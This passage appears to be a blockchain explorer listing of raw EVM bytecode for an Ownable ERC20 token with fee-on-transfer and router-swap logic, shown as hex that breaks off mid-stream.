ffffffffffffffffffffffffffffffffffff1603611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c906125db565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611199576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111909061266d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff906126ff565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112e69190612325565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612791565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990612823565b60405180910390fd5b60008211611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c906128b5565b60405180910390fd5b601060149054906101000a900460ff161561143c57611435848484611844565b905061177b565b600061144730610a0a565b9050601060149054906101000a900460ff161580156114b05750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114c85750601060159054906101000a900460ff165b156114f357601060169054906101000a900460ff16156114e857600c5490505b6114f28186611a17565b5b61157c836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116625750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167657611671868686611cef565b611678565b835b90506116cc81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161176c9190612325565b60405180910390a36001925050505b9392505050565b60008383111582906117ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c1919061216b565b60405180910390fd5b50600083856117d99190612904565b9050809150509392505050565b60008082846117f59190612938565b90508381101561183a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611831906129da565b60405180910390fd5b8091505092915050565b60006118cf826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a049190612325565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff0219169083151502179055506000600367ffffffffffffffff811115611a4f57611a4e6129fa565b5b604051908082528060200260200182016040528015611a7d5781602001602082028036833780820191505090505b5090503081600081518110611a9557611a94612a29565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110611ae457611ae3612a29565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611baf9190612a6d565b81600281518110611bc357611bc2612a29565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611c61959493929190612b93565b600060405180830381600087803b158015611c7b57600080fd5b505af1158015611c8f573d6000803e3d6000fd5b5050505060004790506000811115611cce57611ccd600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f16565b5b50506000601060146101000a81548160ff0219169083151502179055505050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7757611d706064611d6260095486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b9050611df5565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611df457611df16064611de3600a5486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b90505b5b6000811115611ef957611e5081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ef09190612325565b60405180910390a35b611f0c818461202590919063ffffffff16565b9150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f5c573d6000803e3d6000fd5b505050565b6000808303611f735760009050611fd5565b60008284611f819190612bed565b9050828482611f909190612c76565b14611fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc790612d19565b60405180910390fd5b809150505b92915050565b600061201d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061206f565b905092915050565b600061206783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611782565b905092915050565b600080831182906120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad919061216b565b60405180910390fd5b50600083856120c59190612c76565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561210c5780820151818401526020810190506120f1565b8381111561211b576000848401525b50505050565b6000601f19601f8301169050919050565b600061213d826120d2565b61214781856120dd565b93506121578185602086016120ee565b61216081612121565b840191505092915050565b600060208201905081810360008301526121858184612132565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121bd82612192565b9050919050565b6121cd816121b2565b81146121d857600080fd5b50565b6000813590506121ea816121c4565b92915050565b6000819050919050565b612203816121f0565b811461220e57600080fd5b50565b600081359050612220816121fa565b92915050565b6000806040838503121561223d5761223c61218d565b5b600061224b858286016121db565b925050602061225c85828601612211565b9150509250929050565b60008115159050919050565b61227b81612266565b82525050565b60006020820190506122966000830184612272565b92915050565b6000819050919050565b60006122c16122bc6122b784612192565b61229c565b612192565b9050919050565b60006122d3826122a6565b9050919050565b60006122e5826122c8565b9050919050565b6122f5816122da565b82525050565b600060208201905061231060008301846122ec565b92915050565b61231f816121f0565b82525050565b600060208201905061233a6000830184612316565b92915050565b6000806000606084860312156123595761235861218d565b5b6000612367868287016121db565b9350506020612378868287016121db565b925050604061238986828701612211565b9150509250925092565b61239c816121b2565b82525050565b60006020820190506123b76000830184612393565b92915050565b600060ff82169050919050565b6123d3816123bd565b82525050565b60006020820190506123ee60008301846123ca565b92915050565b60006020828403121561240a5761240961218d565b5b6000612418848285016121db565b91505092915050565b600061242c82612192565b9050919050565b61243c81612421565b82525050565b60006020820190506124576000830184612433565b92915050565b600080604083850312156124745761247361218d565b5b6000612482858286016121db565b9250506020612493858286016121db565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124e457607f821691505b6020821081036124f7576124f661249d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125336020836120dd565b915061253e826124fd565b602082019050919050565b6000602082019050818103600083015261256281612526565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006125c56026836120dd565b91506125d082612569565b604082019050919050565b600060208201905081810360008301526125f4816125b8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006126576024836120dd565b9150612662826125fb565b604082019050919050565b600060208201905081810360008301526126868161264a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126e96022836120dd565b91506126f48261268d565b604082019050919050565b60006020820190508181036000830152612718816126dc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061277b6025836120dd565b91506127868261271f565b604082019050919050565b600060208201905081810360008301526127aa8161276e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061280d6023836120dd565b9150612818826127b1565b604082019050919050565b6000602082019050818103600083015261283c81612800565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061289f6029836120dd565b91506128aa82612843565b604082019050919050565b600060208201905081810360008301526128ce81612892565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061290f826121f0565b915061291a836121f0565b92508282101561292d5761292c6128d5565b5b828203905092915050565b6000612943826121f0565b915061294e836121f0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612983576129826128d5565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006129c4601b836120dd565b91506129cf8261298e565b602082019050919050565b600060208201905081810360008301526129f3816129b7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612a67816121c4565b92915050565b600060208284031215612a8357612a8261218d565b5b6000612a9184828501612a58565b91505092915050565b6000819050919050565b6000612abf612aba612ab584612a9a565b61229c565b6121f0565b9050919050565b612acf81612aa4565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612b0a816121b2565b82525050565b6000612b1c8383612b01565b60208301905092915050565b6000602082019050919050565b6000612b4082612ad5565b612b4a8185612ae0565b9350612b5583612af1565b8060005b83811015612b86578151612b6d8882612b10565b9750612b7883612b28565b925050600181019050612b59565b5085935050505092915050565b600060a082019050612ba86000830188612316565b612bb56020830187612ac6565b8181036040830152612bc78186612b35565b9050612bd66060830185612393565b612be36080830184612316565b9695505050505050565b6000612bf8826121f0565b9150612c03836121f0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c3c57612c3b6128d5565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c81826121f0565b9150612c8c836121f0565b925082612c9c57612c9b612c47565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612d036021836120dd565b9150612d0e82612ca7565b604082019050919050565b60006020820190508181036000830152612d3281612cf6565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207a513413a99b67352ce2c0bf057c4516e96ed1f88fdd27c01660869a990fc98864736f6c634300080e0033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c80638da5cb5b116100ec578063c816841b1161008a578063dd62ed3e11610064578063dd62ed3e1461064b578063e350a6c414610688578063f0cd1dac146106b1578063f2fde38b146106dc576101c2565b8063c816841b146105ca578063d158272d146105f5578063da00097d14610620576101c2565b8063a073d37f116100c6578063a073d37f146104fa578063a457c2d714610525578063a9059cbb14610562578063b2bdfa7b1461059f576101c2565b80638da5cb5b1461048d578063914eb66a146104b857806395d89b41146104cf576101c2565b806339509351116101595780635342acb4116101335780635342acb4146103bd578063557ed1ba146103fa57806370a082311461042557806382eefb4314610462576101c2565b806339509351146103185780633ecad271146103555780634a74bb0214610392576101c2565b806318160ddd1161019557806318160ddd1461025a57806323b872dd1461028557806327c8f835146102c2578063313ce567146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f25780631694505e1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610705565b6040516101e9919061216b565b60405180910390f35b3480156101fe57600080fd5b5061021960048036038101906102149190612226565b610797565b6040516102269190612281565b60405180910390f35b34801561023b57600080fd5b506102446107b5565b60405161025191906122fb565b60405180910390f35b34801561026657600080fd5b5061026f6107db565b60405161027c9190612325565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a79190612340565b6107e5565b6040516102b99190612281565b60405180910390f35b3480156102ce57600080fd5b506102d76108bf565b6040516102e491906123a2565b60405180910390f35b3480156102f957600080fd5b506103026108e5565b60405161030f91906123d9565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a9190612226565b6108fc565b60405161034c9190612281565b60405180910390f35b34801561036157600080fd5b5061037c600480360381019061037791906123f4565b6109af565b6040516103899190612281565b60405180910390f35b34801561039e57600080fd5b506103a76109cf565b6040516103b49190612281565b60405180910390f35b3480156103c957600080fd5b506103e460048036038101906103df91906123f4565b6109e2565b6040516103f19190612281565b60405180910390f35b34801561040657600080fd5b5061040f610a02565b60405161041c9190612325565b60405180910390f35b34801561043157600080fd5b5061044c600480360381019061044791906123f4565b610a0a565b6040516104599190612325565b60405180910390f35b34801561046e57600080fd5b50610477610a53565b6040516104849190612325565b60405180910390f35b34801561049957600080fd5b506104a2610a59565b6040516104af91906123a2565b60405180910390f35b3480156104c457600080fd5b506104cd610a82565b005b3480156104db57600080fd5b506104e4610bd5565b6040516104f1919061216b565b60405180910390f35b34801561050657600080fd5b5061050f610c67565b60405161051c9190612325565b60405180910390f35b34801561053157600080fd5b5061054c60048036038101906105479190612226565b610c71565b6040516105599190612281565b60405180910390f35b34801561056e57600080fd5b5061058960048036038101906105849190612226565b610d3e565b6040516105969190612281565b60405180910390f35b3480156105ab57600080fd5b506105b4610d5d565b6040516105c191906123a2565b60405180910390f35b3480156105d657600080fd5b506105df610d81565b6040516105ec91906123a2565b60405180910390f35b34801561060157600080fd5b5061060a610da7565b6040516106179190612442565b60405180910390f35b34801561062c57600080fd5b50610635610dcd565b6040516106429190612281565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d919061245d565b610de0565b60405161067f9190612325565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa91906123f4565b610e67565b005b3480156106bd57600080fd5b506106c6610f5b565b6040516106d39190612325565b60405180910390f35b3480156106e857600080fd5b5061070360048036038101906106fe91906123f4565b610f61565b005b606060018054610714906124cc565b80601f0160208091040260200160405190810160405280929190818152602001828054610740906124cc565b801561078d5780601f106107625761010080835404028352916020019161078d565b820191906000526020600020905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b60006107ab6107a4611122565b848461112a565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60006107f28484846112f3565b506108b4846107ff611122565b6108af85604051806060016040528060288152602001612d3a60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610865611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60006109a5610909611122565b846109a0856006600061091a611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b61112a565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b601060159054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a8a611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0e90612549565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610be4906124cc565b80601f0160208091040260200160405190810160405280929190818152602001828054610c10906124cc565b8015610c5d5780601f10610c3257610100808354040283529160200191610c5d565b820191906000526020600020905b815481529060010190602001808311610c4057829003601f168201915b5050505050905090565b6000600c54905090565b6000610d34610c7e611122565b84610d2f85604051806060016040528060258152602001612d626025913960066000610ca8611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b6001905092915050565b6000610d52610d4b611122565b84846112f3565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060169054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e6f611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef390612549565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff02191690831515021790555050565b60095481565b610f69611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed90612549565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c906125db565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611199576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111909061266d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff906126ff565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112e69190612325565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612791565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990612823565b60405180910390fd5b60008211611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c906128b5565b60405180910390fd5b601060149054906101000a900460ff161561143c57611435848484611844565b905061177b565b600061144730610a0a565b9050601060149054906101000a900460ff161580156114b05750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114c85750601060159054906101000a900460ff165b156114f357601060169054906101000a900460ff16156114e857600c5490505b6114f28186611a17565b5b61157c836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116625750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167657611671868686611cef565b611678565b835b90506116cc81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161176c9190612325565b60405180910390a36001925050505b9392505050565b60008383111582906117ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c1919061216b565b60405180910390fd5b50600083856117d99190612904565b9050809150509392505050565b60008082846117f59190612938565b90508381101561183a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611831906129da565b60405180910390fd5b8091505092915050565b60006118cf826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a049190612325565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff0219169083151502179055506000600367ffffffffffffffff811115611a4f57611a4e6129fa565b5b604051908082528060200260200182016040528015611a7d5781602001602082028036833780820191505090505b5090503081600081518110611a9557611a94612a29565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110611ae457611ae3612a29565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611baf9190612a6d565b81600281518110611bc357611bc2612a29565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611c61959493929190612b93565b600060405180830381600087803b158015611c7b57600080fd5b505af1158015611c8f573d6000803e3d6000fd5b5050505060004790506000811115611cce57611ccd600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f16565b5b50506000601060146101000a81548160ff0219169083151502179055505050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7757611d706064611d6260095486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b9050611df5565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611df457611df16064611de3600a5486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b90505b5b6000811115611ef957611e5081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ef09190612325565b60405180910390a35b611f0c818461202590919063ffffffff16565b9150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f5c573d6000803e3d6000fd5b505050565b6000808303611f735760009050611fd5565b60008284611f819190612bed565b9050828482611f909190612c76565b14611fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc790612d19565b60405180910390fd5b809150505b92915050565b600061201d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061206f565b905092915050565b600061206783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611782565b905092915050565b600080831182906120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad919061216b565b60405180910390fd5b50600083856120c59190612c76565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561210c5780820151818401526020810190506120f1565b8381111561211b576000848401525b50505050565b6000601f19601f8301169050919050565b600061213d826120d2565b61214781856120dd565b93506121578185602086016120ee565b61216081612121565b840191505092915050565b600060208201905081810360008301526121858184612132565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121bd82612192565b9050919050565b6121cd816121b2565b81146121d857600080fd5b50565b6000813590506121ea816121c4565b92915050565b6000819050919050565b612203816121f0565b811461220e57600080fd5b50565b600081359050612220816121fa565b92915050565b6000806040838503121561223d5761223c61218d565b5b600061224b858286016121db565b925050602061225c85828601612211565b9150509250929050565b60008115159050919050565b61227b81612266565b82525050565b60006020820190506122966000830184612272565b92915050565b6000819050919050565b60006122c16122bc6122b784612192565b61229c565b612192565b9050919050565b60006122d3826122a6565b9050919050565b60006122e5826122c8565b9050919050565b6122f5816122da565b82525050565b600060208201905061231060008301846122ec565b92915050565b61231f816121f0565b82525050565b600060208201905061233a6000830184612316565b92915050565b6000806000606084860312156123595761235861218d565b5b6000612367868287016121db565b9350506020612378868287016121db565b925050604061238986828701612211565b9150509250925092565b61239c816121b2565b82525050565b60006020820190506123b76000830184612393565b92915050565b600060ff8216905091905